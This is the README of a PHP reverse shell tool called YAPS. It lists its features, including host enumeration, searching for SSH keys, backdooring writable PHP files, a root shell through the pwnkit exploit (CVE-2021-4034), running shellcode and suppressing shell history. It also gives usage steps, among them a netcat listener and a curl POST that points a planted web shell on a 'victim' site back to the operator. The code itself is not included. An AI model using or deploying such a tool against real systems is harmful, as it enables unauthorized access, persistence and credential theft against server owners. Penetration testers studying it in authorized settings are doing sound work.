YAPS - Yet Another PHP Shell

Yes, as the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there, but with some advantages. It is a single PHP file containing all its functions and you can control it via a simple TCP listener (e.g. nc -lp 1337).

In the current version (1.5), its main functions support only linux systems, but i'm planning to make it work with Windows too.

It's currently in its first version and I haven't tested it much yet, and there are still many things I intend to do and improve for the next versions (it's not done yet!), so please let me know if you've found any bugs or have some suggestion for feature or improvement. =)

Features

• Single PHP file (no need to install packages, libs, or download tons of files)
• Works with netcat, ncat, socat, multi/handler, almost any listener
• Customizable password protection
• No logs in .bash_history
• Does some enumeration
  • Network info (interfaces, iptables rules, active ports)
  • User info
  • List SUID and GUID files
  • Search for SSH keys (public and private)
  • List crontab
  • List writable PHP files
• Auto download LinPEAS, LinEnum or Linux Exploit Suggester
• Write and run PHP code on remote host
• Spawn an interactive reverse shell
• Duplicate as many connections as you want
• Auto update
• Infect PHP files with backdoors
• Auto reverse root shell via pwnkit (CVE-2021-4034)
• [NEW] Send and execute shellcode

Cons

• Connection isn't encrypted (yet) (nc does not support SSL)
• Not fully interactive (although you can spawn an interactive shell with !interactive)
  • CTRL+C breaks it; can't use arrows to navigate (unless you use rlwrap nc -lp <ip> <port>)

Usage

1. Set up a TCP listener;
2. Set your IP and port. This can be done by:

• 2.1 Editing the variables at the start of the script;
• 2.2 Setting them via post request (curl -x POST -d "x=ip:port" victim.com/yaps.php);

3. Open yaps.php on browser, curl it or run via CLI;

• 3.1 You can set yaps.php?s or yaps.php?silent to supress the banner
• 3.2 You can run via CLI with php yaps.php ip port

5. Hack!

Working commands

• !help - Display the help menu
• !all-colors - Toggle all colors (compatible with colorless TTY)
• !color - Toggle PS1 color (locally only, no environment variable is changed)
• !duplicate - Spawn another YAPS connection
• !enum - Download LinPEAS and LinEnum to /tmp and get them ready to use
• !info - list informations about the target (the enumeration I mentioned above)
• !infect - Infect writable PHP files with backdoors
• !interactive - Spawn interactive reverse shells on other ports (works w/ sudo, su, mysql, etc.)
• !passwd - Password option (enable, disable, set, modify)
• !php - Write and run PHP on the remote host
• !pwnkit - Tries to exploit CVE-2021-4034 and spawn a root revere shell
• !shellcode - Send and run shellcode on the remote host
• !suggester - Download Linux Exploit Suggester to /tmp and get it ready to use

Screenshots

Click to expand screenshots section

Current commands:

Doing some recon:

Root reverse shell through CVE-2021-4034

Sending and running shellcode!

Spawning a interactive shell

Duplicating a YAPS session

Poisoning PHP files

Writing remote PHP code

Password protected shell

Changelog

v1.5 - 12/02/2022

• Added !shellcode to receive and run an arbitrary shellcode
• Improved duplicate() function (you can now a range of ports)
• Changed function name from stabilize to interactive
• Packed embeded codes to save space
• Fixed broken links
• Prepend "TERM=xterm" to all commands
• Minor improvements

v1.4 - 04/02/2022

• Added !pwnkit to exploit CVE-2021-4034 and spawn a root reverse shell
• Improved verify_update() function
• Minor improvements

v1.3.1 - 01/08/2021

• Bugs fixed

v1.3 - 28/07/2021

• Added !infect to infect PHP files with backdoors
• Changed !stabilize payload (bugs fixed)

v1.2.2 - 18/07/2021

• Changed 'update' function
• Changed 'connect' function
• Improved 'download' function
• Bugs fixed

v1.2.1 - 17/07/2021

• Bugs fixed

v1.2 - 17/07/2021

• Added !duplicate to spawn another shell
• Added update verification (--update|-u)
• Added CLI arguments (--help|-h)
• Added socket via arguments (php yaps.php ip port)
• Changed stabilize shell method (doesn't freeze anymore)
• Changed download method
• Changed connection method via POST (receives a single parameter)

v1.1 - 12/07/2021

• Added !all-colors to toggle terminal colors and work with colorless TTYs
• Added exit command to close socket (leave shell)
• Changed payload in !stabilize to unset HISTSIZE and HISTFILE
• Changed the method of obtaining CPU and meminfo in !info

v1.0.1 - 08/07/2021

• Changed [x,y,z] to array(x,y,z) to improve compatibility with older PHP versions
• Changed payload for interactive shell to work with PHP<5.4

Credits

Some ideas were inspired by this tools:

Linpeas

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

Linenum

https://github.com/rebootuser/LinEnum

Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Pentest Monkey

https://github.com/pentestmonkey/php-reverse-shell

Arthepsy exploit for pwnkit

https://github.com/arthepsy/CVE-2021-4034/